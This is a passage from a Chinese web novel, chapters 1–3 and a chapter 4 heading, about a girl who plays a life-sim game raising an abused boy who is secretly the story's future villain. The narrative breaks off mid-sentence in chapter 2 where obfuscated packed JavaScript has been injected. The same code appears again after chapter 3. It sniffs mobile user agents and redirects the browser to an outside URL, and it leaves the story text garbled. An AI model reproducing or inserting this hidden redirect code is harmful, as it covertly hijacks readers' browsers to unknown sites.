《养成的反派小可怜黑化了》 1. 第 1 章 “#治愈养成系手游##口袋少年#内测版即将上线啦，可填写以下链接进行报名，被抽中的玩家将有机会超前体验游戏，全新升级的养成互动玩法，轻松日常适合佛系玩家，而且每个人抽到的角色设定、互动体验都会不一样哦！” 底下附图是游戏海报和内测版报名二维码。 祝渺刷着手机，目光落在“日常”“养成”两个词上，眼睛亮了亮。 这看起来有意思！ 立刻扫码填写信息报了名。 她现在是一名刚刚高中毕业的准大学生，刚经历完严酷的高考，开始了长达近三个月的暑假。 在暑假的第一天，她就把高考期间干不了的事儿都尝试一遍。 追剧、看综艺、看小说、玩游戏，躺在床上无所事事，每天都在冲浪第一线。她都快忘了，当一个摆烂的“废物”是如此快乐！ 事实上，这已经是她第二次经历高考了。 是的，第二次。 她是穿书来到这个世界的，来到这本书里已经十五年了。 十五年前，祝渺穿到了这个与自己同名的女孩身上时大概才两三岁，受身体影响，她的记忆出现了残缺，她并不知道自己不是这个世界的人，也不知道这个世界是一个书中的世界。 直到她长到八九岁时，记忆才断断续续回来，让她记起自己原本的身份，也想起后面的剧情。 她当时所在的地方是书里的顾家。 往上数两个年代，顾家和祝家本是世交，据说祝渺的爷爷和老顾董有着过命般的交情，不幸的是，她爷爷意外早亡，祝家也失去了支柱。 家道中落时，祝渺的父亲尚年幼，因念着两家世交旧情，顾家就收养了她的父亲，把父亲当成半个儿子抚养长大。 顾家的继承人叫顾知山。顾知山与父亲年纪相仿，自幼一起长大，是父亲的发小。长大后，顾知山成了顾氏新任董事长，父亲成了顾知山身边的秘书。 由于祝渺刚出生便没了母亲，她从小就跟着父亲一起住在顾家，父女二人也算得上顾家没什么实权的主人。 后来顾知山生了个儿子，顾家的小少爷，叫顾忱。 顾忱大概是天生有心理缺陷，情绪感知迟钝，没法和人正常相处。 但他智力过人，因此他并没有正常孩子的学习生活轨迹，只在家里请私教上课学习，不与他人接触。 而祝渺寄人篱下，作为顾忱唯一的玩伴，最重要的任务就是陪伴顾忱，像极古时太子身边的伴读。 据说这也是治疗顾忱心理疾病的一种方式，既可以避开外界对他的强刺激，又可以持续为他提供情绪输出。 虽说在顾家寄人篱下，没什么地位，但在恢复记忆前，祝渺一直在顾家过着没心没肺、天真烂漫的童年。 直到祝渺慢慢恢复了记忆，发现自己是在一本看过的小说里，并且自己是小说里的一个炮灰女配，她天真无邪的童年才戛然而止。 在书里，她父亲虽然和顾家关系匪浅，但终究不是顾家亲生的，与顾家也不在一个阶级，几年后，她父亲会被顾知山当做一枚弃子，成为顾家掩护罪恶的替罪羊，成为商场斗争的牺牲品。 更糟糕的是，与她勉强算得上是青梅竹马的小少爷顾忱，长大后会成为她的未婚夫，还会黑化成为书里的反派大boss，阴鸷又偏执。 他手段狠厉地得到了顾家的庞大资产，成了道貌岸然的大佬。 书里的“祝渺”作为反派的未婚妻，爱的却是正直无私的小说男主角，总想逃离可怕的反派，却被抓了回去，关起来，最终在一次逃跑的过程中意外身亡。 不久后，反派便开始了毁天灭地的日子，最终亲手把顾家毁了，把自己也毁了。 祝渺恢复记忆后，仔细盘了一遍与自己相关的剧情，奈何书里讲述自己和反派幼时的内容不多。 根据书中描写，祝渺觉得，顾忱确实和他认识的一样，情绪感知异常。 所以对这个反派来说，这个世界，甚至他自己，都不值得他上心。了无牵挂，一旦走向偏执的道路，毁灭起来便丝毫不手软。 嘶。太可怕了。 想想就头皮发麻。 一想到自己的悲惨下场，祝渺就决心要趁着穿书的时间还早，尽快让父亲和自己摆脱顾家。 于是，她利用自己年幼天真、童言无忌的优势，离间了父亲与顾家，让父亲对顾家彻底心寒，下定决心带着自己远离顾家。 他们这一离开，便又过去了九年，如祝渺所计划的那样，他们再也没和顾家产生交集。 他们离开顾家后，便换了一座距离不算太远的城市，虽然是座小城，生活水平不高，但人文气息浓厚，教育资源丰富。 虽然离了顾家，但祝渺的父亲——祝召年，在顾家任职时积累了不少资本，教育背景良好，个人能力十分突出，换了一座城市，他们也能过上小康生活。 这些年他们父女俩算是相依为命，对生活状况十分满意。 … “渺渺，来吃饭了！” 祝召年的声音传来。 “来啦来啦！”祝渺赶忙下楼和父亲吃饭，一边跑一边还捧着手机，噼里啪啦打着字。 祝召年端好菜，放下围裙，嗔怒，“我看你这些天是越来越放松了，考完试就飘了？”祝召年虽然嘴上说得凶，实际上做的事总是宠着她的。 祝渺毫不在意，放下手机，一边给老爸夹菜，一边撒娇道：“那我这不是刚考完嘛，答案也对完了，成绩保证不差，我这么乖巧懂事，您就放心让我玩，我发誓，我绝对不会不务正业的！” 瞧她这乖巧劲儿，祝召年无言以对，他家女儿虽然嘴上没正形，但实际上，她从小到大就比别人家小孩更成熟懂事。 他知道是因为他对她陪伴少，小时候寄人篱下，后来辗转他乡，又没母亲照料。也因此，他就格外心疼女儿。 “那你准备填哪的志愿，读什么专业？” “江州大学新闻系吧。”江州大学的新闻系是国内数一数二的新闻专业，她曾经也是学新闻出身，虽然这个专业在就业上弱势了一些，但她喜欢。 “江州大学？对自己的成绩这么有自信？”她爸也知道，那可是顶尖学府的顶尖专业。 “第一志愿嘛，当然目标要高啦。万一运气好呢？”说是看运气，但鉴于她已经不是第一次高考，且曾经她也是高材生，她对自己的成绩还是有一定信心的。 在自信和老爸信任的加持下，祝渺这个冲浪少女的身份当得更心安理得更愉快了。 … 晚餐后，祝渺就收到了一条短信： “亲爱的用户： 恭喜您获得《口袋少年》游戏内测资格，成为我们的首批玩家。游戏下载链接如下……首批内测版用户将免费获得100万金币，希望您能收获良好的游戏体验。” 祝渺看到短信，第一反应以为是诈骗短信，反复确认了这是官方发的链接没错，才敢点开。这是一份说明文档，里面有详细流程介绍和安装包下载链接。 她饶有兴趣地跟着步骤下载了游戏，注册了账号，为自己取好了ID，她不怎么会取名，因此ID名很简单，就是她的小名“渺渺”。 奇怪的是，游戏还要求她进行面部识别。祝渺心中疑惑，大概是为了身份认证吧？ 鉴于对游戏公司的信任，祝渺还是选择了录入。 提示成功后，祝渺就进入了游戏。 这款新手游不愧是国内首屈一指的游戏公司天易开发的，画质精良，运行流畅，祝渺一看开头画风就被勾起了兴趣，兴致盎然地躺倒在床上，捧着手机开始玩。 游戏是现代画风，大概是2.5D，既有精致细腻的虚拟感，也不乏动态的真实感。 开头是夜色朦胧，月光皎洁，出现一座豪宅，应该是有钱人家的大别墅，周围很偏僻，有视野开阔的庭院，隐在月色中，简直像一座中小型城堡。 【2035年，这是一个阶级分化严重的时代，20%的富商掌握着80%的资源，你从小生活艰辛，只好在富商的家中做一名小小女仆，得一处安宇。】 在祝渺的玩家视角里，“她”是这座大别墅中的小女佣，年纪不大，不过十六岁，家境贫寒因此年纪很小就出来打工。 【你本分地忙完了一天的工作，向自己的上司——管家先生汇报了今日完成的工作后，便一路走回自己房间休息。】 有钱人的别墅很大，即使回到自己的 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此时，画面停顿，页面上跳出两个选项。 【面对失去生母，被继母虐待的小小少年，你会......？】 A、狠心离开。 B、去拿医药箱，帮助大少爷。 祝渺想也不想就选择了B，这种互动剧情，她要是离开了还怎么发展剧情呢，当然是要选择帮助故事主人公啦！ 于是，“她”一路走到医药房，拿了医药箱，又躲开其他人的视线，趁人不注意，偷偷走下楼梯，来到了地下室的门前。 很难想象，偌大的豪华别墅还有这样破败灰暗的角落。 “她”推开门，里面一片阴暗，伸手不见五指。 祝渺划动屏幕，走进黑暗中，在视野范围内找到一盏开关，将灯打开，才有了些许光亮。 这个地下室大概是一个酒窖，一排排的架子，装满了各种酒。 范围还挺大的，灯光灰暗，“她”扫视了一圈，也没看到那个瘦小的身影。 祝渺又划动屏幕，绕了这个房间一圈，终于在角落里找到了一个孩子的缩影。 他正蜷曲着身子，双手抱着腿，在角落里安静地待着。 “祝渺”走上前，男孩抬起头来，乌黑的眼眸，映着一丝昏暗的灯光，像是眼含星星的倒影，流露出乖巧却又无助的神色。 ——俨然一只无依无靠无助的小可怜。 屏幕前的祝渺眼睛也跟着亮了亮，这画风画得也太精致了吧，细节和氛围感都到位了。 这个奶乖奶怪的小可怜就是她要养成的游戏主角吗，好可爱，好乖！她可以！ 虽然小可怜现在应该才八九岁？但她都能想象出她把他养大以后的帅气模样了！ 与他的颜值违和的是，他身上可见之处就有着好多处伤口。 他看起来很虚弱，但他不哭也不闹，大概是已经习惯了。 沉寂了好一会儿，屏幕上出现了一行字，是小可怜开口了：“你……是谁？” 【他的语气中带着防备。】 “祝渺”回答：“你受伤了，我是来帮你的。” 小可怜的胳膊伤口处出现了提示点击的标志。 祝渺点击屏幕，“她”便蹲了下来，拿出药和绷带，帮他包扎了起来。 将胳膊包扎完毕，“祝渺”起身，准备离开地下室，转过身时，却被一把拉住。 是小可怜伸出了短短的胳膊，拉住了“她”的裙摆。 “救救我……” 【他似乎是鼓足了勇气，结结巴巴地开口，带着卑微又恳求的语气，星辰般的眼眸中带着一丝希冀。】 “求，求你，带我离开这里……” “祝渺”犹疑：“离开地下室吗？” 他摇了摇头：“离开……这个家。” 此时，画面停顿，屏幕上再次出现了两个选项。 【面对在绝境中伸出求救之手的少年，你会......？】 A、拒绝他。 B、答应他。 提示：这个选择将影响后续主线剧情，请谨慎选择。 2. 第 2 章 选项不过两个，拒绝与接受，祝渺默默吐槽：这个游戏选择题真极端，都没有任何中间值。 拒绝自然是不可能的，尤其求助她的对象这么“楚楚可怜”，当然是选择拐走……哦不，帮助他。 几乎没有思考，她就点击了选项B。 确认后，“祝渺”又蹲下看着小可怜：“好，我答应你。” 【你心想：要离开这里，自然是要趁着不容易被人发现的时候，现在夜深人静，这个少年又刚被丢进地下室，通常起码一两天后，狠心的继母才会来把他带回去。】 【所以，此时此刻就是最好的逃离时间。】 “祝渺”对小可怜说：“你想走，我今晚就可以带你走，但你要思考清楚，离开以后我们就不会再回到这里，可能还要东躲西藏。我现在回去收拾一下东西，收拾完了就来找你，趁着我不在的时候，你可以好好想想。” 小可怜抬头，水汪汪的眸子忽闪忽闪：“我，我等你回来。” 又是根据游戏提示，祝渺把游戏地图转移到了女佣的房间。 房间内东西不少，祝渺操控着屏幕，开始点击自己需要的东西，点击的东西会收进背包。 现在的背包最多只能带十件东西，祝渺选了一些必要物件，比如个人证件、手机、钱包、零食和矿泉水，还有些她想带的不重要的东西，比如一个可爱的兔子玩偶。 选好了东西，祝渺又回到了地下室，小可怜依然蹲在角落里，连姿势都没变。 直到她回来，小可怜才抓住了她的手。 “祝渺”问：“你想好了吗？” 【少年眼神坚定地点了点头，毫不迟疑。】 【离开的路几乎畅行无阻，没有人注意到你们，夜色已经深了，偌大的宅院一片寂静。】 “祝渺”也是个半大的小姑娘，牵着一个个头小小的孩子，二人走在路上的身影在一路灯光下被拉得很长很长。 画面中跳出一串文字： 【你们已成功向前迈出第一步，未来还有怎样的路等着你们呢？】 提示： 【个人信息已解锁。】 【新地图已解锁。】 【手机功能已解锁。】 祝渺点开个人信息查看，一栏是她的人物信息，一栏是小可怜的。 她先点开小可怜的。 【人物：尘尘 年龄：9 性格：敏感，自闭 经历：五岁起被继母虐待，受精神和物质的打压，不受亲生父亲重视，被排挤孤立。 属性值：智商10，情商5，理工天赋10，人文天赋5，艺术天赋5，武力5】 原来小可怜有名字，叫尘尘，和她一样是叠词呢……唔，这个属性值满分应该是100吧，祝渺边看边想。 接着又点开自己的个人信息。 【人物：渺渺 年龄：16 性格：善良，阳光 经历：从小打工，四处漂泊，无依无靠，无亲无故。 属性值：智商20，情商20，理工天赋5，人文天赋15，艺术天赋10，武力5】 祝渺：？？？ 她的经历怎么也这么惨？所以她和小可怜现在属于......孤儿寡母？？ 还有，怎么她自己也有属性值，还这么低！ 这也就意味着，她未来不仅要养小可怜，可能还得养自己…… 这个游戏怎么不按套路出牌啊。 祝渺一边吐槽，一边点开了手机功能，手机里一个联系人都没有，意味着她的社交圈空无一人。 也好，能减少很多没必要的操作，她只想专心养娃。 最后点开地图，他们正在市郊，要想找到住的地方，应该得去靠近市中心的地方。 于是祝渺直接点击前往市中心。 画面提示：【你们走了一夜，终于来到了市中心。繁华的都市，疲惫的身体，你们此刻需要找一个落脚之处……】 主页跳出了一张市中心地图。 祝渺拖动市中心地图，看到了一些住所可以选择：破旧老小区，普通商品房出租，高级公寓租售…… 每个地方的花费和环境都不一样，出租和购置的价格和现实世界差不多，只不过换算成了虚拟金币。 如果是平时，祝渺可能会选择最稳妥的普通商品房出租，性价比更高更稳妥。 但……她此刻玩的是内测版，而内测版用户直接赠送了100万金币！ 直接换算成100万人民币的话，她算得上是个小富婆了！ 可以有很长一段时间吃喝不愁了，省着点花没准能直接玩到游戏结束呢？ 于是她阔气地进入了高级公寓租售中心。 公寓出租：每月3000 公寓出售：总价800000 居然还有新公寓出售？而且她买得起！ 全款买房…… 狠狠心动了好吗！ 大胆的念头一旦产生...... 祝渺心一狠，干脆买下了一套高级公寓。 看着账户余额变成了20万，祝渺没想到，她进游戏的第一笔消费，是直接带着孩子买房…… 祝渺点开商城里的商品，边看物价，边算着钱。 最终发现，要养活自己和小可怜，花费是远不够的，她必须努力赚钱才行。 不由感叹了一句，养活孩子可真不容易啊……orz 不过好在，他们已经找到了新住处，还是她的个人资产。 二人一起进入公寓，公寓不大但很漂亮，一些摆设还可以替换，比如家具，祝渺可以在商城里购置后进行替换。 祝渺先买了一块牌子挂在进门的墙边，这是一块写公寓名称的名牌。 系统跳出提示：【请为您的新家取个名字吧。】 祝渺想了想，输入：rainbowroom 虽然有点土，但是很童话很温馨！ 输入完，页面中对话框再次弹出，“祝渺”对小可怜道：“尘尘，这就是我们的新家了！” 小可怜抿了抿唇角，掩饰此刻的心情，低声道：“……嗯。” 他的目光落在那块名牌上，心中跟着默念：rainbowroom……他在心中默默记下。 公寓正好有两间房，一间是她的，一间是小可怜的。 房间虽然少，但面积却很大，又干净又整洁。 祝渺还来不及欣赏，画面忽然跳出红色感叹号的提示： 【在这座拥有繁华外表的城市里，你们终于拥有了自己的容身之所。 可辛苦奔波了一天，你们已经饥肠辘辘，浑身疲惫，少年的旧伤在隐隐作痛，咬牙支撑了一天，此时已经要撑不住倒下了……】 下一秒，小可怜缓缓闭上了眼睛，晕倒在了地上。 点开小可怜的属性面板，身体状态显示：【非常饥饿，身体多处伤口加重。】 【健康值：10】 妈呀……又饿又浑身是伤的！ 【此刻，你的选择是：】 A、治疗伤口 B、准备食物 C、叫救护车 人都晕倒了，还是先叫救护车送医院吧！ 选C。 【救护车花费：5000金币】 祝渺：？ 这什么天价救护车，果然是资本家时代！ 祝渺不情愿地付费了。 窗外传来了救护车的声音，医生们将晕倒的小可怜抬上车子，一路驶向医院。 片刻过后，冷白色调的病房，少年微蹙眉头，似是在煎熬着强忍着什么痛苦，不适地躺在病床上。 一位医生走进来。 医生：“他的身上有很多伤痕，有些是陈年旧伤，看着不明显，实际会很痛，而且他太虚弱了，身体营养不良，已经在注射葡萄糖了，至于身上的伤……一个年纪不大的小孩，究竟怎么造成的？算了……买点外伤药回去上药，并在家好好休养吧。” 祝渺：“……好的医生。” 医生嘱托完就退下了，只留下祝渺和沉睡的少年。 【时间一分一秒地过去，这个少年与你一样有着不幸的童年，你对他感到格外担心焦虑，可这并不能改变什么，能做的只是在病床旁默默守护与陪伴。 直到一袋袋的药水点滴空了，少年终于恢复了意识，精神状态好了许多，你们可以一起回家了……】 画面一转，二人回到了公寓。 提示刷地跳出： 【恭喜你，完成第一阶段奖励！解锁商城啦！】 面板上出现了“商城”的标志。 祝渺没急着打开商城，而是先点开属性值看了看。 健康值涨到了30，可是身体状态依然不容乐观：饥饿，多处伤口隐隐发作。 他们好像一直没吃饭……得买点吃的了，不知道商城里有没有？ 打开商城，衣食住行相关的商品琳琅满目，分门别类在商品库里展示着。 药品在商城里也能买到，不过她已经从医院买了。 于是祝渺只挑了些食材，准备一会儿做饭用。 接着祝渺从背包里找了药品，点击使用。 画面中，“祝渺”拿出药膏。 祝渺：“身上的伤还在痛，对吧？我要给你上药啦，能把你身上的伤口露出来吗？” 小可怜捏了捏衣角，似乎……有些不好意思。 祝渺：“要遵循医嘱哦。” 小可怜还是乖乖听话把衣服脱了，他娇小瘦弱的身躯有多处伤口，白嫩嫩的背上淤青更是多。 要多狠心才能对一个孩子下这样的狠手呢？ 祝渺点击药膏，在他背上涂抹。 大概是感觉到了痛，小可怜瑟缩了几下，她点击屏幕的力道都不自觉放轻了。 上完药，小可怜看着她，清澈真诚的目光里满是感激：“……谢谢渺渺姐。” 身体健康值已经恢复到了40。 才加了十个点…… 这也太难恢复了，他的身体状况是有多糟糕啊。 祝渺又继续，用刚下单的食材在厨房制作了一碗番茄鸡蛋面。 热腾腾的面条出炉，放在餐桌上。 祝渺：“面条做好啦，快来吃吧！” 小可怜坐下，拿起筷子，吃了两口，忽然眼泛泪光：“很……很好吃。” 呜呜呜，太可怜了。QAQ 祝渺猛猛心疼！ 吃完这碗面，小可怜的身体状态总算到了50，还是不及格…… 【少年睡眠不足，又过于虚弱，劳累的一天让他倒下，需要静养才能恢复。】 画面一转，来到卧室，小可怜乖巧地躺在床上。 【三天后，你日夜照顾少年，他的精神逐渐好起来。】 提示：【健康值提升至70。】 好好好……终于勉强恢复健康了！！ 这也让祝渺发现，虽然她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“祝渺”道：“乖，睡觉啦，早睡早起才能长高哦。” 虽然是文字，但可以看得出，她的语气完全是哄孩子的语气。 小可怜只好略带失落地点了点头，乖乖闭上了眼睛。 祝渺拒绝了孩子，于心不忍，忽然想到自己带走了一个兔子玩偶，于是她找到背包里的兔兔，轻轻放在了他的床头。 就让这个兔兔代替自己陪他睡叭。 见状，祝渺点击了退出游戏。 她也该睡了，操心买房赚钱养娃什么的…… 她已承受了太多这个年纪不该承受的压力。== 关了灯，点亮床头的小夜灯，微弱的灯光亮起——她一向不敢关灯睡觉。 * 第二天，她是被消息震动的声音吵醒的。 点开手机一看，是她的班级群的同学们，在热烈讨论着成绩和择校。 有讨论什么时候出分的，有议论学校和专业选择的。 祝渺咋舌，同学们真爱学习，明明考完试就该立刻失忆才对。 还有好几条私聊信息，其中一个对她“狂轰滥炸”的是她的好朋友秦洛。 秦洛成绩一向很好很稳。 秦洛：【渺渺，说好的考完失忆坚决不对答案，我没忍住QAQ】 秦洛：【我的数学简直天崩！保守算了算总成绩，如果文科总分不够，怕是没法和你一起上江州大学了呜呜呜】 秦洛：【哦对了，和你说件事，那个王朔，不知道从谁那打听到了你想报考江大，他现在号称自己要去江大】 秦洛：【！消息被我家狗摁出去了！没说完，是江大附近的三流工程院校……】 秦洛：【这家伙，成绩不行，还贼心不死】 秦洛：【不行，我还是得努力和你一起上学，不能让你被他抢走！】 …… 看着秦洛这炮轰式的消息，祝渺一时间脑瓜嗡嗡。 王朔是个高中追了她三年的富二代，据说对她一见钟情，可是她“一心只读圣贤书”，对他爱答不理。 他们至今也不熟。 祝渺回复秦洛：【放心吧，我像是这么好“抢”的吗？】 祝渺：【你也不用担心成绩，文科分不好估算，以你的水平一定没问题的】 秦洛回复：【嗯，我就非去江州大学不可了】 秦洛：【癞蛤蟆不许消想我们家大白鹅】 祝渺：【你才大白鹅】 祝渺：【不和你说了，我要继续做我的网瘾少女了】 秦洛：【玩你的游戏去，我也要追我的爱豆去了！你是网瘾少女，我是追星少女】 说完发了一个可爱的表情包。 祝渺回复完秦洛，又看了看其他消息，除了和她同桌三年的秦洛以外，其他关系好的同学并不多，其他人无非是问她估算了多少分，有把握上什么学校和专业的。 祝渺把自己的想法坦诚相告，也没有多说什么，就退出聊天页面继续登录了游戏。 这回登录游戏不太一样的是，页面上跳出了几个字： 【第一章梦魇】 祝渺愣了愣，这个游戏还有分章节吗？ 梦魇是什么意思？ 怎么听起来，不太妙呢…… 3. 第 3 章 深夜，顾忱从梦中惊醒。 环视四周，窗口照进温柔的月光，浅浅映出房间的模样，是一个崭新又温馨的房间，柔软的大床，床头还有一只......可爱的大白兔趴趴玩偶。 他长舒了一口气，确认这几天发生的一切并不是他在异想天开，那不是梦。 他又用力揉了揉脑袋，不对，他现在是叫尘尘…… 但那也无所谓了，他只记得自己原本的名字应该叫顾忱，可其他有关“顾忱”的一切，他什么也不记得。 自有记忆起，他便一直在受着家人的虐待，继母、父亲，然后是弟弟…… 更折磨的是，冥冥之中似乎有一股力量一直在牵制着他，让他无法反抗，像是一个牵线木偶，说什么、做什么都在受着别人的控制。 他没有任何选择的自由。 这样的状态会一直持续到18岁左右，他的生命会在各种意外或被害中结束，或许是被继母设计溺水，或许是被弟弟推下楼，或许是车祸而亡...... 这让他对生活充满恐惧，不知道明天和死亡哪个先来。 每次醒来，他就再次回到他被虐待的童年，这样的生活就又要重新来一遍，循环往复。 像是一场噩梦，做了无数次。 他陷入梦魇之中，无法挣脱。 他已经不记得这是他第几次人生了，他不是没有挣扎过，可一切不甘和反抗最终都变成了徒劳。 对于他来说，活着就是无尽的灰暗，在这样无限次的精神和□□折磨中，他已经逐渐对身边的一切麻木。 可就在那个寻常又不寻常的夜晚……出现了一个变故。 他确定，他遇到的那个女孩，在他之前所有的人生中，从来没有出现过。 她走进阴暗的地下室，点亮灯光，不带恶意地为他包扎伤口，对他伸出援手。 这对他来说，就像已经不知在死水中沉寂了多久，忽然触碰到一丝温暖的阳光，尝到一口新鲜的氧气。 那一瞬间，他就心中迅速燃起一个念头——可以救他的人出现了。 这种奇妙的感觉……从未有过。 难道这就是所谓的希望？ 在女孩要转身离开的一瞬间，他忍不住伸出了手拉住她。 这好像……是他第一次，成功用自己的意志做出行动。 更没有想到的是，他发出的求救，竟得到了女孩的回应。 顾忱此刻依然感觉不真实，这一切就好像梦一般。 他甚至不敢闭上眼，因为一闭眼，就又像是陷入了之前一样的无尽黑暗，他现在得到的一切仿佛下一刻就会瞬间消失。 那个女孩……叫渺渺。 渺渺…… 他在心中默念了几次这个名字。 似乎有些异样的熟悉感，好像在哪里听过，或许是在他的记忆深处。 顾忱下了床，走到房门外，看向对面紧闭的房间门，她应该睡得正香吧。 不知道为什么，他现在就想看她一眼，情不自禁地走到她房门前，轻轻推开了门。 房间里亮着一盏小夜灯，微黄的灯光温柔地洒落，也落在渺渺的脸颊上。 她果然睡得正香，连被子滑落了都没有意识到。 顾忱悄悄靠近，轻手轻脚地帮她把被子掖踏实。 对上女孩毫无防备的脸，顾忱觉得，她似乎有些眼熟……不知道记忆深处闪过了什么，顾忱感觉自己的心不由自主跳漏一拍。 然而，他又看了看自己站在床边的身高，他现在还是个八九岁身板的小孩，都没比床高出多少…… 心中生出异样的感觉，然而下一秒，他脑海中仿佛收到了某条指令，像是不可违抗的病毒，在他脑海里自动编译、侵占他自我的意识与思想。 他的身体也一样，如同收到了程序指令，像一个提线木偶一般，不受控制地往门外走去，回到自己房间。 他很想违抗，当然他也这么做了，可如同之前循环轮回的命运，他还是没法抵抗得了控制。 在床上躺下，却辗转反侧，彻夜无眠...... * 祝渺进入游戏，游戏里是一个普通的早晨，她要给小可怜准备早餐。 可是，点击查看小可怜身体状态，显示的却是两个字：【疲倦】； 再看【健康值：5】 祝渺：？ 什么情况，她不就一晚上没玩，游戏里这是过了几天啊？怎么一下子小可怜身体状况就这么差了？？比昨天还低！ 健康指数都变成红条了，明明昨天睡前还是个健健康康的崽啊！ 点击查看身体疲惫原因：【连日失眠】。 祝渺满头问号。 小可怜这么一个天真烂漫活泼可爱的年纪，居然会失眠？ 难道是……他认床？ 点击对话，“渺渺”对小可怜道：“身体有没有哪里不舒服？昨晚睡得怎么样？” 小可怜眨巴眨巴大眼睛，若无其事的模样：“谢谢渺渺姐带我来这里，我昨晚……睡得很好。” 祝渺：好个锤子。 真是个不讲实话的孩子！ “渺渺”苦恼地看了看他：“如果哪里住不习惯，要告诉我哦。” 小可怜乖巧地点了点头：“好。” 为了增加小可怜的各项属性值，祝渺准备送小可怜去学习各项技能，这样才能增加成长值。 祝渺查看了市内各地点，找到了一家私立学校。 校内课程丰富，基础课程到音乐美术、体育竞技……啥都有。 然而目前解锁的课程只有小学语数英等基础课程，每学习一项课程，就要花费1000至5000元金币不等，而且不能同时学习超过5门以上的课。 真贵啊…… 果然知识无价吗，这些课程要全部学习完毕，起码要花费几十万元，最高甚至可以一直学习到博士课程。 不，她不要鸡娃教育！ 她要让孩子健康快乐自由地长大！ 她在现实中受考试折磨，不能在游戏里还让小可怜受折磨！ 自己淋过雨，绝不能撕别人的伞——这绝不是因为学费太贵。 但基础的学习是必须的，于是点击语数英三门课程，准备付费教育。 没想到游戏却提示：健康值低于50，无法进行课程教育。 这可怎么办，健康值该怎么提升回来？ 这时，小可怜头上出现了对话提示。 祝渺点击对话，“她”对小可怜说：“我已经帮你看了一家私立学校，改天送你去学习，好吗？” 此话一出，小可怜露出了复杂的眼神，似乎想到了什么，缓缓摇了摇头。 他犹豫片刻，开口：“我......不想去学校。” 祝渺头疼：孩子不肯上学怎么办？打一顿？ “渺渺”问：“为什么？” 小可怜却不肯开口。 此时，页面跳出提示：面对拒绝与抗拒，你选择？ 【A、一问到底】 【B、晚上陪他睡觉】 祝渺选择了B，小可怜既然不愿意说，她也不愿意追问，等到晚上，她守着他睡，自然就知道是怎么一回事了。 没想到，她选择了B选项后，一转眼，场景就来到了夜晚。 祝渺点击小可怜状态，选择让他去睡觉。 小可怜乖乖躺上床后，祝渺没有立刻离开，而是陪在他的身边。 小可怜疑问道：“渺渺姐，不回去睡觉吗？” “渺渺”回：“我今晚在旁边陪着你睡呀。” 小可怜拉上被子，闭上了眼睛，模样非常乖。 可两小时后，深夜十二点，小可怜就痛苦地皱起了眉头，似乎是梦到了什么不安的事情，正在痛苦挣扎，却怎么也挣不脱。 画面跳出提示：【解锁梦境，点击付费>>】 ？？？ 什么玩意儿，还得付费？ 可是不付费是不是就不知道小可怜到底怎么了，剧情就下不去了。 这个解锁要100金币，幸好，她现在有很多钱。 直接点击花钱！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421175|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接着一个视频弹窗出现，标题正是《梦魇》。 画面辗转，有些暗黑，出现得十分凌乱。 第一幕是一个女人，大概是他的亲生母亲，正对着他歇斯底里： “都是因为你有病！他才会这样对我！如果我没有生下你该多好……” 第二幕的另一个女人，她认识，正是别墅里虐待他的继母。 继母面色凶狠道：“你不如去死好了！” 第三幕是个男孩，不知道是他的弟弟还是哥哥，明明年纪很小，却一脸不屑和冷漠： “爸爸说我们是兄弟，我才没有你这样的兄弟，这是我的家，你凭什么要和我抢！” 第四幕是一群同学，陆陆续续地冷嘲热讽：“傻子怎么会和我们一起读书啊？” 视频崩坏，画面裂开。 祝渺心一揪。 原来他是这样长大的。 …… “醒醒，醒醒……” 小可怜刷地睁开了眼睛，原来是“渺渺”喊他。 眼光中似乎含着泪光，意识到了什么，抱歉地看着她。 “对不起……给渺渺姐添麻烦了。” 他知道，自己一直都有无法入眠的毛病，每个世界都是如此，一到夜晚，一旦入睡，他的梦就会像走马灯似的，每个世界经历的痛苦都在他的脑海中一遍遍反复循环。 他无法反抗。 然后从梦魇中挣扎醒来。 从此害怕睡觉，害怕做梦。 原本他已经习以为常了，可此刻，他讨厌极了自己这样的毛病。 这让渺渺也不安了，可他一点也不想给她添麻烦，不想成为她的负担。 如果有一天她觉得自己是个麻烦，后悔带出了自己...... 这样的结局，他不敢想。 “渺渺”却只是平静地安抚地摸了摸他的头，温柔道：“没关系的，没事的......是不是做梦梦见了不好的事情？那些都已经过去了，我们已经拥有了新的生活……” 小可怜动了动唇，听到“新的生活”时，眼睛里仿佛一片死水泛起了微波，闪烁起粼粼微光。 “真的……已经都过去了吗？” “是的，一切都过去了。” “我们会一起有新生活吗？” “对，而且我们会越来越好。” 小可怜沉默片刻。 “渺渺姐，我会努力忘掉的。那些不愉快的记忆。” 说完，他就重新闭上了眼睛。 这样她才能安心，她才能不用再绞尽脑汁照顾他。 好乖好惹人怜爱啊……祝渺捧着手机，揉了揉眼睛，在床上滚了一圈。 呜呜，这么乖巧听话的小可怜，最重要的是，长得这么可爱，谁能不爱呢？ 她心道：宝，麻麻一定会让你睡个好觉的。 祝渺想，总算知道了小可怜失眠的原因。 原来是长期的打压对小可怜造成了无法挽回的心理影响，可能是PTSD的一种，这应当是心理疾病。 看来这章剧情，就是要给小可怜整治心理问题。 此时，祝渺忽然收到了系统提示。 【已解锁新地图：心理诊所】 看来这就是第一章关键任务的目标地点了，天亮以后，她就带他去诊所。 系统时间一转眼就到了早晨，小可怜醒来，健康值增加了10点，到了15点。 祝渺预计过几个晚上，等到了50点，他就可以去学习了。 她点击地图中的心理诊所，二人一起来到了一家诊所前。 顾忱看着这个地点，心中瞬间明白了渺渺带他来这里的目的。 他想，他果然还是让她担心了...... 他知道，这些对他来说都没有用。 一切心理治疗建立于信任，面对这些不信任的人，他的大脑警惕得可怕。 但为了让渺渺放心，他还是装作懵懂无知的模样，见了心理医生。 他要装作一切都好的样子，恢复健康，让她放心…… 4. 第 4 章 